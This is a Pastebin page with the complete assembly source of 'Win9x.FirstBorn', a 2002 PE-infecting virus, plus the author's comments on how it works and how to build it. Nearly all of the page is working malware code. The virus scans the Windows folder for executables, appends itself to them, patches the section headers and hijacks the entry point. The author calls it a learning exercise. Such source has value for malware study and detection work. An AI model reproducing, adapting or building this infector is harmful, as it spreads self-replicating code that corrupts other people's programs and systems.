Advertisement
FlyFar

Virus.Win32.FirstBorn - Source Code

Jun 20th, 2023
1,578
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 16.23 KB | Cybersecurity | 0 0
  1. ;
  2. ; [ Win9x.FirstBorn         Vorgon ]      
  3. ; [ 2560 bytes         Target - PE ]        
  4. ; [ 08/10/02        Made in Canada ]
  5. ;
  6. ;
  7. ;
  8. ;
  9. ; [ Introduction ]
  10. ;
  11. ; After three or four years of programming in asm i decided i was ready for  
  12. ; somthing more challenging. Virus programming had always interested me so
  13. ; i went searching for a group that would teach me the basics. I found the
  14. ; group iKX, and T00FiC showed me how to make my first virus which i call
  15. ; FirstBorn. Its a sucky virus and would never survive in the wild, i only
  16. ; made it for learning purposes.
  17. ;
  18. ; [ The Infection ]
  19. ;
  20. ; FirstBorn is a simple PE infector. It only works on Win9x because i could
  21. ; not get the exception handling part of the Kernel finder working. So it
  22. ; just assumes the kernel is located at 0BFF70000. I will have this function
  23. ; working in my next virus and then it can infect NT and 2k. Below is
  24. ; a break down of what the virus does:
  25. ;
  26. ; - Get the delta offset and save the starting location of the virus
  27. ; - Save registers incase the host program needs them
  28. ; - Use the GetFunctionAddress procedure to get the kernel32 api function
  29. ;   addreses i need.
  30. ; - Call the FindHostFile procedure to find a valid PE file to infect.
  31. ; - Call the GetHeader procedure which reads the PE header into memory
  32. ; - Call the AddCodeToHost procedure which does many things:
  33. ;              - Writes this program in memory to the end of the host file
  34. ;              - Updates the last section header to include all the data
  35. ;                up to the EOF, Updates its virtual size, and makes it
  36. ;                Readable/Writable/Executable
  37. ;              - Updates the program image size
  38. ;              - Sets the entry point to the virus code
  39. ;              - Adds a signature to location 79h to stop another infection
  40. ; - Call PutHeader procedure which writes the updated PE Header to the host
  41. ; - Restore registers for the host program
  42. ; - Returns control to the host program
  43. ;
  44. ;
  45. ; [ Assembling ]
  46. ;
  47. ; tasm32 /ml 1born
  48. ; tlink32 -x /Tpe /c 1born,1born
  49. ; editbin /SECTION:CODE,rwe 1born.exe
  50. ;
  51. ;
  52.  
  53. .386p
  54. .model flat, stdcall
  55. extrn           ExitProcess : PROC
  56. .DATA
  57.         dd 0
  58. .CODE
  59. Main:
  60.        
  61. ;----------------------------------------------------------------------------
  62. ; Get delta offset and the start location of the virus in memory
  63. ;----------------------------------------------------------------------------
  64.  
  65.         push    ebp
  66.         call    GetDeltaPointer
  67. GetDeltaPointer:
  68.         pop     ebp
  69.         sub     ebp, offset GetDeltaPointer
  70.  
  71.         Call    SaveRegisters
  72.  
  73.         mov     [ebp+StartOfCode], ebp
  74.         lea     eax, GetDeltaPointer
  75.         add     [ebp+StartOfCode], eax
  76.         sub     [ebp+StartOfCode], 6               ;get the start address of virus in memory
  77.  
  78.         mov     eax, [ebp+HEP2]                    ;Set the return to host address
  79.         mov     [ebp+HostEntryPoint], eax
  80.        
  81. ;----------------------------------------------------------------------------
  82. ; Virus Data
  83. ;----------------------------------------------------------------------------
  84.  
  85. jmp JumpOverData
  86.         StartOfCode        dd 0
  87.         VirusSignature     dd 0DEADBEEFh
  88.  
  89.         Handle             dd 0
  90.         NumberOfBytesRead  dd 0
  91.  
  92.         PE_Header          db 248 dup(0)
  93.         LocationOfHeader   dd 0
  94.        
  95.         SearchString       db 'c:\windows\*.EXE',0
  96.         FindHandle         dd 0
  97.  
  98. Win32_Find_Data:
  99.         FileAttributes     dd 0
  100.         CreateTime         dq 0
  101.         LastAccessTime     dq 0
  102.         LastWriteTime      dq 0
  103.         FileSizeHigh       dd 0
  104.         FileSizeLow        dd 0
  105.         Reserved0          dd 0
  106.         Reserved1          dd 0
  107.         FullFileName       db 260 dup(0)
  108.         AlternateFileName  db 14 dup(0)
  109.  
  110. SectionHeader:      
  111.         ANSI_Name          db 8 dup(0)
  112.         VirtualSize        dd 0
  113.         VirtualAddress     dd 0
  114.         SizeOfRawData      dd 0
  115.         PointerToRawData   dd 0
  116.         PointerToRelocs    dd 0
  117.         PointerToLinNums   dd 0
  118.         NumberOfRelocs     dw 0
  119.         NumberOfLineNums   dw 0
  120.         Characteristics    dd 0
  121.  
  122.         Kernel32Address    dd 0BFF70000h        
  123.  
  124.         szCreateFileA      db 'CreateFileA',0
  125.         _CreateFileA       dd 0
  126.         szWriteFile        db 'WriteFile',0
  127.         _WriteFile         dd 0
  128.         szCloseHandle      db 'CloseHandle',0
  129.         _CloseHandle       dd 0
  130.         szReadFile         db 'ReadFile',0
  131.         _ReadFile          dd 0
  132.         szSetFilePointer   db 'SetFilePointer',0
  133.         _SetFilePointer    dd 0
  134.         szFindFirstFileA   db 'FindFirstFileA',0
  135.         _FindFirstFileA    dd 0
  136.         szFindNextFileA    db 'FindNextFileA',0
  137.         _FindNextFileA     dd 0
  138.         szFindClose        db 'FindClose',0
  139.         _FindClose         dd 0
  140.  
  141.         loc  dd 0
  142.         loc2 dd 0
  143.  
  144.         HostEntryPoint     dd 0
  145.         HEP2               dd 00401000h
  146.  
  147.         _EBP               dd 0
  148.         _EDI               dd 0
  149.         _ESI               dd 0
  150.         _EAX               dd 0
  151.         _EBX               dd 0
  152.         _ECX               dd 0
  153.         _EDX               dd 0
  154.  
  155.         FirstGeneration    dd 1
  156.  
  157. JumpOverData:
  158.  
  159. ;----------------------------------------------------------------------------
  160. ; Get the required API function addresses from the Kernel32.dll
  161. ;----------------------------------------------------------------------------  
  162.         lea     esi, [ebp+szCreateFileA]
  163.         call    GetFunctionAddress
  164.         mov     [ebp+_CreateFileA], eax
  165.  
  166.         lea     esi, [ebp+szWriteFile]
  167.         call    GetFunctionAddress
  168.         mov     [ebp+_WriteFile], eax
  169.  
  170.         lea     esi, [ebp+szCloseHandle]
  171.         call    GetFunctionAddress
  172.         mov     [ebp+_CloseHandle], eax
  173.        
  174.         lea     esi, [ebp+szReadFile]
  175.         call    GetFunctionAddress
  176.         mov     [ebp+_ReadFile], eax
  177.  
  178.         lea     esi, [ebp+szSetFilePointer]
  179.         call    GetFunctionAddress
  180.         mov     [ebp+_SetFilePointer], eax
  181.  
  182.         lea     esi, [ebp+szFindFirstFileA]
  183.         call    GetFunctionAddress
  184.         mov     [ebp+_FindFirstFileA], eax
  185.  
  186.         lea     esi, [ebp+szFindNextFileA]
  187.         call    GetFunctionAddress
  188.         mov     [ebp+_FindNextFileA], eax
  189.  
  190.         lea     esi, [ebp+szFindClose]
  191.         call    GetFunctionAddress
  192.         mov     [ebp+_FindClose], eax
  193.      
  194. ;----------------------------------------------------------------------------
  195. ; Main
  196. ;----------------------------------------------------------------------------
  197.        
  198.         Call    FindHostFile                        ;Find an exe to infect
  199.         cmp     eax, 0FFFFFFFFh
  200.         je      BackToHost
  201.  
  202.         lea     eax, [ebp+FullFileName]             ;Open it
  203.         mov     ebx, 0C0000000h
  204.         call    OpenFile
  205.         cmp     eax, 0FFFFFFFFh
  206.         je      BackToHost
  207.        
  208.         call    GetHeader                           ;Get its PE header
  209.  
  210.         call    AddCodeToHost                       ;Add virus to it
  211.  
  212.         call    PutHeader                           ;Write the updated PE header
  213.                                                     ;to it
  214.         mov     eax, [ebp+Handle]                  
  215.         call    CloseFile                           ;Close it
  216.  
  217. BackToHost:
  218.         cmp dword ptr [ebp+FirstGeneration], 1
  219.         je  Exit
  220.  
  221.         mov     eax, dword ptr [ebp+HostEntryPoint]
  222.         push    eax
  223.         Call    RestoreRegisters
  224.         ret                                         ;return to host
  225.  
  226. Exit:
  227.         push    0
  228.         Call    ExitProcess
  229.  
  230. ;----------------------------------------------------------------------------
  231. ; General Procedures
  232. ;----------------------------------------------------------------------------
  233. SaveRegisters PROC      
  234.         mov [ebp+_EDI], edi
  235.         mov [ebp+_ESI], esi
  236.         mov [ebp+_EBX], ebx
  237.         mov [ebp+_ECX], ecx
  238.         mov [ebp+_EDX], edx
  239.         pop eax
  240.         pop ebx
  241.         mov [ebp+_EBP], ebx
  242.         push    eax
  243.         ret
  244. SaveRegisters ENDP
  245.  
  246. RestoreRegisters PROC
  247.         mov edi, [ebp+_EDI]
  248.         mov esi, [ebp+_ESI]
  249.         mov ebx, [ebp+_EBX]
  250.         mov ecx, [ebp+_ECX]
  251.         mov edx, [ebp+_EDX]
  252.         mov ebp, [ebp+_EBP]
  253.         ret
  254. RestoreRegisters ENDP
  255.  
  256. AddCodeToHost PROC
  257.         push    dword ptr [ebp+FirstGeneration]
  258.         mov     dword ptr [ebp+FirstGeneration], 0
  259.  
  260.         mov     eax, dword ptr [ebp+PE_Header+40]
  261.         add     eax, dword ptr [ebp+PE_Header+52]   ;add image base
  262.         mov     [ebp+HEP2], eax                     ;Save original entry point
  263.  
  264.         mov     eax, 0
  265.         mov     ebx, 2
  266.         Call    SeekData                            ;Seek to EOF
  267.         mov     [ebp+loc], eax
  268.         add     [ebp+loc], 2560                     ;loc = new EOF
  269.  
  270.         mov     eax, [ebp+StartOfCode]
  271.         mov     ebx, 2560
  272.         call    PutData                             ;Write virus to EOF
  273.  
  274.         xor     edx, edx
  275.         xor     eax, eax
  276.         mov     ax, word ptr [ebp+PE_Header+6]
  277.         dec     eax
  278.         mov     ebx, 40
  279.         mul     ebx
  280.         add     eax, [ebp+LocationOfHeader]
  281.         add     eax, 248            
  282.         mov     ebx, 0
  283.         Call    SeekData                            ;Seek to the last section header
  284.  
  285.         lea     eax, [ebp+SectionHeader]
  286.         mov     ebx, 40
  287.         Call    GetData                             ;Get the last section header
  288.  
  289.         mov     eax, dword ptr [ebp+PE_Header+80]
  290.         sub     eax, [ebp+VirtualSize]
  291.         mov     dword ptr [ebp+PE_Header+80], eax   ;subtract the section size from the image size
  292.  
  293.         mov     eax, [ebp+loc]
  294.         sub     eax, [ebp+PointerToRawData]  
  295.         mov     [ebp+SizeOfRawData], eax            ;Update SizeOfRawData
  296.  
  297.         shr     eax, 12                             ;divide eax by 4096
  298.         shl     eax, 12                             ;multiply eax by 4096
  299.         add     eax, 8192                           ;add 1 - 2k for any unitialized data
  300.         mov     [ebp+VirtualSize], eax              ;Update VirtualSize
  301.        
  302.         mov     eax, [ebp+SizeOfRawData]
  303.         sub     eax, 2560
  304.         add     eax, [ebp+VirtualAddress]
  305.         mov     dword ptr [ebp+PE_Header+40], eax   ;Set Entry point
  306.  
  307.         mov     [ebp+Characteristics], 0E0000020h   ;Make Section Executable/Readable/Writable
  308.  
  309.         mov     eax, -40
  310.         mov     ebx, 1
  311.         Call    SeekData
  312.         lea     eax, [ebp+SectionHeader]
  313.         mov     ebx, 40
  314.         Call    PutData                             ;Write section header back to file
  315.  
  316.         mov     eax, dword ptr [ebp+PE_Header+80]
  317.         add     eax, [ebp+VirtualSize]
  318.         mov     dword ptr [ebp+PE_Header+80], eax   ;update image size
  319.  
  320.         mov     eax, 79h
  321.         mov     ebx, 0
  322.         Call    SeekData
  323.         lea     eax, [ebp+VirusSignature]
  324.         mov     ebx, 4
  325.         Call    PutData                             ;Write Virus Signature to host
  326.                                                     ;to prevent reinfection
  327.         pop     dword ptr [ebp+FirstGeneration]
  328.         ret
  329. AddCodeToHost ENDP
  330.  
  331. FindHostFile PROC
  332.  
  333.         lea eax, [ebp+Win32_Find_Data]
  334.         lea ebx, [ebp+SearchString]
  335.         push    eax
  336.         push    ebx
  337.         Call    [ebp+_FindFirstFileA]
  338.         mov [ebp+FindHandle], eax               ;Get First File match
  339.        
  340. FindHost:
  341.         lea eax, [ebp+FullFileName]
  342.         mov ebx, 0C0000000h
  343.         call    OpenFile
  344.         cmp eax, 0FFFFFFFFh
  345.         je  FindNext
  346.         mov [ebp+Handle], eax
  347.  
  348.         mov eax, 79h
  349.         mov ebx, 0
  350.         Call    SeekData
  351.         lea eax, [ebp+loc]
  352.         mov ebx, 4
  353.         Call    GetData
  354.  
  355.         mov eax, 3Ch
  356.         mov ebx, 0
  357.         Call    SeekData
  358.         lea eax, [ebp+loc2]
  359.         mov ebx, 4
  360.         Call    GetData
  361.         mov eax, [ebp+loc2]
  362.         mov ebx, 0
  363.         Call    SeekData
  364.         lea eax, [ebp+loc2]
  365.         mov ebx, 4
  366.         Call    GetData                      ;Get PE signature
  367.  
  368.         mov eax, [ebp+Handle]
  369.         Call    CloseFile
  370.  
  371.         cmp [ebp+loc], 0DEADBEEFh
  372.         jne NextCheck                 ;Already Infected?
  373.         je  FindNext
  374.  
  375. NextCheck:
  376.         cmp [ebp+loc2], 00004550h     ;Valid PE EXE?
  377.         je  FoundHost
  378.  
  379. FindNext:
  380.         lea eax, [ebp+Win32_Find_Data]
  381.         push    eax
  382.         push    [ebp+FindHandle]
  383.         Call    [ebp+_FindNextFileA]
  384.         cmp eax, 0                    ;No more exes left
  385.         je  HostNotFound
  386.         jmp FindHost      
  387.  
  388. FoundHost:        
  389.         push    [ebp+FindHandle]
  390.         Call    [ebp+_FindClose]
  391.         ret
  392.  
  393. HostNotFound:
  394.         push    [ebp+FindHandle]
  395.         Call    [ebp+_FindClose]
  396.         mov eax, 0FFFFFFFFh
  397.         ret
  398. FindHostFile ENDP
  399.  
  400.  
  401. GetHeader PROC
  402.         mov     eax, 3Ch
  403.         mov     ebx, 0
  404.         call    SeekData
  405.         lea     eax, [ebp+LocationOfHeader]
  406.         mov     ebx, 4
  407.         call    GetData
  408.         mov     eax, [ebp+LocationOfHeader]
  409.         mov     ebx, 0
  410.         call    SeekData
  411.         lea     eax, [ebp+PE_Header]
  412.         mov     ebx, 248
  413.         call    GetData
  414.         ret
  415. GetHeader ENDP
  416.  
  417. PutHeader PROC
  418.         mov     eax, 3Ch
  419.         mov     ebx, 0
  420.         call    SeekData
  421.         lea     eax, [ebp+LocationOfHeader]
  422.         mov     ebx, 4
  423.         call    GetData
  424.         mov     eax, [ebp+LocationOfHeader]
  425.         mov     ebx, 0
  426.         call    SeekData
  427.         lea     eax, [ebp+PE_Header]
  428.         mov     ebx, 248
  429.         call    PutData
  430.         ret
  431. PutHeader ENDP
  432.  
  433. GetFunctionAddress PROC
  434.         mov     eax, [ebp+Kernel32Address]          ;EAX = Kernel32 Address
  435.         mov     ebx, [eax+3Ch]
  436.         add     ebx, eax
  437.         add     ebx, 120
  438.         mov     ebx, [ebx]
  439.         add     ebx, eax                            ;EBX = Export Address
  440.  
  441.         xor     edx, edx
  442.         mov     ecx, [ebx+32]
  443.         add     ecx, eax
  444.         push    esi
  445.         push    edx
  446. CompareNext:
  447.         pop     edx
  448.         pop     esi
  449.         inc     edx
  450.         mov     edi, [ecx]
  451.         add     edi, eax
  452.         add     ecx, 4
  453.         push    esi
  454.         push    edx
  455. CompareName:
  456.         mov     dl, [edi]
  457.         mov     dh, [esi]
  458.         cmp     dl, dh
  459.         jne     CompareNext
  460.         inc     edi
  461.         inc     esi
  462.         cmp     byte ptr [esi], 0
  463.         je      GetAddress
  464.         jmp     CompareName
  465. GetAddress:
  466.         pop     edx
  467.         pop     esi
  468.         dec     edx
  469.         shl     edx, 1        
  470.         mov     ecx, [ebx+36]
  471.         add     ecx, eax
  472.         add     ecx, edx
  473.         xor     edx, edx
  474.         mov     dx, [ecx]
  475.         shl     edx, 2
  476.         mov     ecx, [ebx+28]
  477.         add     ecx, eax
  478.         add     ecx, edx
  479.         add     eax, [ecx]
  480.  
  481.         ret
  482. GetFunctionAddress ENDP
  483.  
  484.  
  485. ;----------------------------------------------------------------------------
  486. ; File I/O Procedures
  487. ;----------------------------------------------------------------------------
  488.  
  489. OpenFile PROC
  490.         push    00000000h
  491.         push    00000080h
  492.         push    00000003h
  493.         push    00000000h
  494.         push    00000000h
  495.         push    ebx                                ;open for read/write
  496.         push    eax
  497.         call    [ebp+_CreateFileA]
  498.         mov     [ebp+Handle], eax
  499.         ret
  500. OpenFile ENDP
  501.  
  502. CloseFile PROC
  503.         push    eax
  504.         call    [ebp+_CloseHandle]
  505.         ret
  506. CloseFile ENDP
  507.  
  508. SeekData PROC
  509.         push    ebx                                 ; 0 = begin / 1 = current / 2 = end
  510.         push    0
  511.         push    eax                                 ; location to seek to
  512.         push    [ebp+Handle]
  513.         call    [ebp+_SetFilePointer]
  514.         ret
  515. SeekData ENDP
  516.  
  517. GetData PROC
  518.         lea     ecx, [ebp+NumberOfBytesRead]
  519.         push    00000000h
  520.         push    ecx
  521.         push    ebx
  522.         push    eax
  523.         push    [ebp+Handle]                          
  524.         call    [ebp+_ReadFile]
  525.         ret
  526. GetData ENDP
  527.  
  528. PutData PROC
  529.         lea     ecx, [ebp+NumberOfBytesRead]
  530.         push    0
  531.         push    ecx
  532.         push    ebx
  533.         push    eax
  534.         push    [ebp+Handle]
  535.         call    [ebp+_WriteFile]
  536.         ret
  537. PutData ENDP
  538.  
  539. End   Main
  540.  
  541. ;Wow your actualy still reading? Get a life :p
  542.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement